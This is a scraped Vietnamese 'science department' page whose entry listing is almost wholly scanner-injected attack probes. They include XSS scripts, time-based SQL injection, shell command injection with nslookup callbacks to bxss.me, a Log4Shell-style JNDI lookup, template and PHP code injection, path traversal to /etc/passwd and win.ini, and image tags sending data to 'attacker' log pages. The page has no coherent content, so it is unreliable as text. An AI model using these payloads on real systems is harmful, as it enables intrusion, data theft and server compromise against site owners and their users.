Phòng khoa học

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9322'> 0

1<isindex type=image src=1 onerror=vvsn(9083)> 0

1<svg �onload=vvsn(9527);> 0

1<ScRiPt >vvsn(9207)</ScRiPt> 0

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9596></ScRiPt> 0

1<ScRiPt >vvsn(9149)</ScRiPt> 0

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%76%76%73%6E%28%39%35%39%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 0

1<script>vvsn(9047)</script> 0

1<WQOJXY>HZMFN[!+!]</WQOJXY> 0

1<ScRiPt >vvsn(9637)</ScRiPt> 0

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 0

acx${98991*97996}::.x 0

acx[[${98991*97996}]]xca 0

acx{{98991*97996}}xca 0

1 0

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%> 0

1 0

<th:t="${acx}#foreach 0

1 0

<%={{={@{#{${acx}}%> 0

acux7663%C0%BEz1%C0%BCz2a%90bcxuca7663 0

acu3346%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3346 0

19651833 0

'"()&%<acx><ScRiPt >vvsn(9226)</ScRiPt> 0

1 0

@@Pmxxt 0

1��%2527%2522 0

1'" 0

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 0

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 0

Ge8XII6e')) OR 709=(SELECT 709 FROM PG_SLEEP(15))-- 0

5E23KAZe') OR 506=(SELECT 506 FROM PG_SLEEP(15))-- 0

NqN9gvTf' OR 180=(SELECT 180 FROM PG_SLEEP(15))-- 0

-1)) OR 43=(SELECT 43 FROM PG_SLEEP(15))-- 0

-5) OR 815=(SELECT 815 FROM PG_SLEEP(15))-- 0

-5 OR 143=(SELECT 143 FROM PG_SLEEP(15))-- 0

4ZBDfHGq')); waitfor delay '0:0:15' -- 0

KueauPZJ'); waitfor delay '0:0:15' -- 0

TsLjCKwT'; waitfor delay '0:0:15' -- 0

1 waitfor delay '0:0:15' -- 0

-1)); waitfor delay '0:0:15' -- 0

-1); waitfor delay '0:0:15' -- 0

-1; waitfor delay '0:0:15' -- 0

1'"()&%<acx><ScRiPt >vvsn(9714)</ScRiPt> 0

1 0

bxss.me/t/xss.html?%00 0

'+'A'.concat(70-3).concat(22*4).concat(116).concat(77).concat(97).concat(81)+(require'socket' Socket.gethostbyname('hityh'+'ngandkks9f378.bxss.me.')[3].to_s)+' 0

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/ 0

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 0

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 0

HttP://bxss.me/t/xss.html?%00 0

if(now()=sysdate(),sleep(15),0) 0

-1" OR 2+512-512-1=0+0+0+1 -- 0

-1' OR 2+911-911-1=0+0+0+1 or 'tK7kVZnR'=' 0

-1' OR 2+283-283-1=0+0+0+1 -- 0

-1 OR 2+627-627-1=0+0+0+1 0

"+"A".concat(70-3).concat(22*4).concat(102).concat(79).concat(108).concat(84)+(require"socket" Socket.gethostbyname("hitck"+"bfbjldxhe13f4.bxss.me.")[3].to_s)+" 0

-1 OR 2+997-997-1=0+0+0+1 -- 0

C2UO40ER 0

1 0

../1 0

;(nslookup hitxfpschvqty54bc5.bxss.me||perl -e "gethostbyname('hitxfpschvqty54bc5.bxss.me')")|(nslookup hitxfpschvqty54bc5.bxss.me||perl -e "gethostbyname('hitxfpschvqty54bc5.bxss.me')")&(nslookup hitxfpschvqty54bc5.bxss.me||perl -e "gethostbyname('hitxfpschvqty54bc5.bxss.me')") 0

`(nslookup hitohgnjyqgdu53674.bxss.me||perl -e "gethostbyname('hitohgnjyqgdu53674.bxss.me')")` 0

|(nslookup hitdyrhwlqbqw9239f.bxss.me||perl -e "gethostbyname('hitdyrhwlqbqw9239f.bxss.me')") 0

&(nslookup hitdxypaledgd26aa5.bxss.me||perl -e "gethostbyname('hitdxypaledgd26aa5.bxss.me')")&'\"`0&(nslookup hitdxypaledgd26aa5.bxss.me||perl -e "gethostbyname('hitdxypaledgd26aa5.bxss.me')")&`' 0

$(nslookup hitgfimdghqhd9e488.bxss.me||perl -e "gethostbyname('hitgfimdghqhd9e488.bxss.me')") 0

(nslookup hitxujfmeddvj2f4fd.bxss.me||perl -e "gethostbyname('hitxujfmeddvj2f4fd.bxss.me')") 0

|echo ondobi$()\ zfqtpy\nz^xyu||a #' |echo ondobi$()\ zfqtpy\nz^xyu||a #|" |echo ondobi$()\ zfqtpy\nz^xyu||a # 0

&echo dywyws$()\ moxttl\nz^xyu||a #' &echo dywyws$()\ moxttl\nz^xyu||a #|" &echo dywyws$()\ moxttl\nz^xyu||a # 0

echo ypqswb$()\ tfnufk\nz^xyu||a #' &echo ypqswb$()\ tfnufk\nz^xyu||a #|" &echo ypqswb$()\ tfnufk\nz^xyu||a # 0

1 0

<!-- 0

'" 0

1 0

../../../../../../../../../../../../../../windows/win.ini 0

bxss.me 0

http://bxss.me/t/fit.txt%3F.jpg 0

1 0

Http://bxss.me/t/fit.txt 0

1some_inexistent_file_with_long_name%00.jpg 0

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg 0

1 0

../../../../../../../../../../../../../../etc/passwd 0

1 0

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 0

1 0

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡 0

0 1 0

^(#$!@#$)(()))****** 0

!(()&&!||| 0

1 0

"+response.write(9473053*9053412)+" 0

1 0

'+response.write(9473053*9053412)+' 0

1 0

) 0

1 0

1<esi:include src="http://bxss.me/rpb.png"/> 0

'.print(md5(31337)).' 0

${@print(md5(31337))}\ 0

1 0

${@print(md5(31337))} 0

";print(md5(31337));$a=" 0

1 0

1&n948563=v904612 0

".gethostbyname(lc("hitef"."nkadvafec54d7.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(74).chr(98).chr(88)." 0

'.gethostbyname(lc('hitxn'.'fckosewy7fd33.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(86).chr(114).chr(67).' 0

1 0

';print(md5(31337));$a=' 0

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); 0

1 0

response.write(9473053*9053412) 0

1 0

/xfs.bxss.me 0

1 0

${10000465+9999510} 0

/../../../../../../../../../../windows/system32/BITSADMIN.exe 0

1 0

${j${::-n}di:dns${::-:}//hitjcslpmgrfn87467${::-.}bxss.me} 0

1 0

uBL05X9X 0

1 0

'"() 0

0 1 0

1BX5YBt9nSO 0

1 0

1<aDi1eRI< 0

1<img sRc='http://attacker-9508/log.php? 0

1<agsWhdY x=9157> 0

1<ifRAme sRc=9675.com></IfRamE> 0

1<WWK0U9>TMZXO[!+!]</WWK0U9> 0

1l00aJ <ScRiPt >npOi(9627)</ScRiPt> 0

1}body{acu:Expre/**/SSion(npOi(9213))} 0

<a HrEF=jaVaScRiPT:> 0

<a HrEF=http://xss.bxss.me></a> 0

1<input autofocus onfocus=npOi(9143)> 0

�<img acu onmouseover=npOi(99781) //�> 0

1<ScRiPt>npOi(9051)</sCripT> 0

1\u003CScRiPt\npOi(9508)\u003C/sCripT\u003E 0

%31%3C%53%63%52%69%50%74%20%3E%6E%70%4F%69%289681%29%3C%2F%73%43%72%69%70%54%3E 0

1<img/src=">" onerror=alert(9560)> 0

1<img src=xyz OnErRor=npOi(9362)> 0

1<img src=//xss.bxss.me/t/dot.gif onload=npOi(9002)> 0

1<body onload=npOi(9050)> 0

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9361'> 0

1<isindex type=image src=1 onerror=npOi(9602)> 0

1<svg �onload=npOi(9005);> 0

1<ScRiPt >npOi(9621)</ScRiPt> 0

1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9321></ScRiPt> 0

1<ScRiPt >npOi(9844)</ScRiPt> 0

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6E%70%4F%69%28%39%35%34%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E 0

1<script>npOi(9046)</script> 0

1 0

@@ipera 0

1��%2527%2522 0

1'" 0

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 0

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 0

fz13ydij')) OR 663=(SELECT 663 FROM PG_SLEEP(15))-- 0

weiYLSSt') OR 138=(SELECT 138 FROM PG_SLEEP(15))-- 0

5auJct3d' OR 199=(SELECT 199 FROM PG_SLEEP(15))-- 0

-1)) OR 532=(SELECT 532 FROM PG_SLEEP(15))-- 0

-5) OR 188=(SELECT 188 FROM PG_SLEEP(15))-- 0

-5 OR 760=(SELECT 760 FROM PG_SLEEP(15))-- 0

dCwpzy6m')); waitfor delay '0:0:15' -- 0

v3zFTPZr'); waitfor delay '0:0:15' -- 0

4vYl0fdw'; waitfor delay '0:0:15' -- 0

1 waitfor delay '0:0:15' -- 0

-1)); waitfor delay '0:0:15' -- 0

-1); waitfor delay '0:0:15' -- 0

-1; waitfor delay '0:0:15' -- 0

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/ 0

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 0

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 0

if(now()=sysdate(),sleep(15),0) 0

-1" OR 2+11-11-1=0+0+0+1 -- 0

-1' OR 2+374-374-1=0+0+0+1 or '3ohCSUjl'=' 0

-1' OR 2+758-758-1=0+0+0+1 -- 0

-1 OR 2+22-22-1=0+0+0+1 0

-1 OR 2+386-386-1=0+0+0+1 -- 0

oDPUqCZh 0

1 0

1<W6CQW8>XWSY9[!+!]</W6CQW8> 0

1 0

1<ScRiPt >npOi(9176)</ScRiPt> 0

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") 0

ZC7CJnue 0

1 0

1&n932803=v993718 0

1 0

${j${::-n}di:dns${::-:}//hitklfqvqqwkla45cc${::-.}bxss.me} 0

acx${98991*97996}::.x 0

1 0

acx[[${98991*97996}]]xca 0

acx{{98991*97996}}xca 0

1 0

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡 0

0 1 0

../1 0

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%> 0

1 0

<th:t="${acx}#foreach 0

1 0

<%={{={@{#{${acx}}%> 0

acux5738%C0%BEz1%C0%BCz2a%90bcxuca5738 0

acu2795%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2795 0

1 0

../../../../../../../../../../../../../../windows/win.ini 0

../../../../../../../../../../../../../../etc/passwd 0

^(#$!@#$)(()))****** 0

1 0

!(()&&!||| 0

) 0

1 0

19806254 0

'"()&%<acx><ScRiPt >npOi(9122)</ScRiPt> 0

1 0

1'"()&%<acx><ScRiPt >npOi(9331)</ScRiPt> 0

1 0

;(nslookup hitopmbicovaudf58e.bxss.me||perl -e "gethostbyname('hitopmbicovaudf58e.bxss.me')")|(nslookup hitopmbicovaudf58e.bxss.me||perl -e "gethostbyname('hitopmbicovaudf58e.bxss.me')")&(nslookup hitopmbicovaudf58e.bxss.me||perl -e "gethostbyname('hitopmbicovaudf58e.bxss.me')") 0

`(nslookup hittvbfmqhlql97823.bxss.me||perl -e "gethostbyname('hittvbfmqhlql97823.bxss.me')")` 0

|(nslookup hitoggjtcuysz41e5c.bxss.me||perl -e "gethostbyname('hitoggjtcuysz41e5c.bxss.me')") 0

&(nslookup hittjfdpjixxi42337.bxss.me||perl -e "gethostbyname('hittjfdpjixxi42337.bxss.me')")&'\"`0&(nslookup hittjfdpjixxi42337.bxss.me||perl -e "gethostbyname('hittjfdpjixxi42337.bxss.me')")&`' 0

1 0

$(nslookup hitxjdhuxkqlz69ef5.bxss.me||perl -e "gethostbyname('hitxjdhuxkqlz69ef5.bxss.me')") 0

(nslookup hittmotcogrqfe4c54.bxss.me||perl -e "gethostbyname('hittmotcogrqfe4c54.bxss.me')") 0

|echo hcuvmf$()\ vxhedi\nz^xyu||a #' |echo hcuvmf$()\ vxhedi\nz^xyu||a #|" |echo hcuvmf$()\ vxhedi\nz^xyu||a # 0

&echo frynis$()\ quldyg\nz^xyu||a #' &echo frynis$()\ quldyg\nz^xyu||a #|" &echo frynis$()\ quldyg\nz^xyu||a # 0

echo sfgqpw$()\ whveze\nz^xyu||a #' &echo sfgqpw$()\ whveze\nz^xyu||a #|" &echo sfgqpw$()\ whveze\nz^xyu||a # 0

1 0

1<esi:include src="http://bxss.me/rpb.png"/> 0

1 0

bxss.me/t/xss.html?%00 0

HttP://bxss.me/t/xss.html?%00 0

1 0

'.print(md5(31337)).' 0

1 0

${@print(md5(31337))}\ 0

1 0

"+response.write(9852101*9087211)+" 0

'+response.write(9852101*9087211)+' 0

response.write(9852101*9087211) 0

1 0

${@print(md5(31337))} 0

1 0

bxss.me 0

http://bxss.me/t/fit.txt%3F.jpg 0

1 0

Http://bxss.me/t/fit.txt 0

1some_inexistent_file_with_long_name%00.jpg 0

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg 0

";print(md5(31337));$a=" 0

1 0

'+'A'.concat(70-3).concat(22*4).concat(100).concat(86).concat(116).concat(84)+(require'socket' Socket.gethostbyname('hitpk'+'idutxekq2e30d.bxss.me.')[3].to_s)+' 0

"+"A".concat(70-3).concat(22*4).concat(103).concat(79).concat(122).concat(84)+(require"socket" Socket.gethostbyname("hitvf"+"lyvecycf4e54e.bxss.me.")[3].to_s)+" 0

1 0

';print(md5(31337));$a=' 0

${9999295+10000110} 0

1 0

/xfs.bxss.me 0

1 0

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); 0

1 0

".gethostbyname(lc("hityg"."cmzcniyv4940e.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(67).chr(97).chr(88)." 0

'.gethostbyname(lc('hitxk'.'rmfnkqgcda7bd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(80).chr(99).chr(82).' 0

1 0

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 0

1 0

'"() 0

0 1 0

<!-- 0

'" 0

1 0

/../../../../../../../../../../windows/system32/BITSADMIN.exe 0

1 0

1BVQpFFgGEO 0

1 0

1

7/27/2024 5:09:38 AM 15

1

7/27/2024 5:09:38 AM 14

1

7/27/2024 5:09:37 AM 14

Xem thêm

1

7/27/2024 5:39:08 AM 14

1

7/27/2024 5:39:08 AM 14

1

7/27/2024 5:39:07 AM 14

1<ax2XUsT<

7/27/2024 5:39:06 AM 13

Xem thêm

1<aD4jofg<

7/27/2024 8:24:33 AM 3

1<img sRc='http://attacker-9432/log.php?

7/27/2024 8:24:31 AM 3

1<aiKL9xF x=9939>

7/27/2024 8:24:31 AM 4

Xem thêm

1<akfchi8<

7/27/2024 11:26:31 AM 2

1<img sRc='http://attacker-9385/log.php?

7/27/2024 11:26:31 AM 4

1<aDhiqKc x=9718>

7/27/2024 11:26:30 AM 3

Xem thêm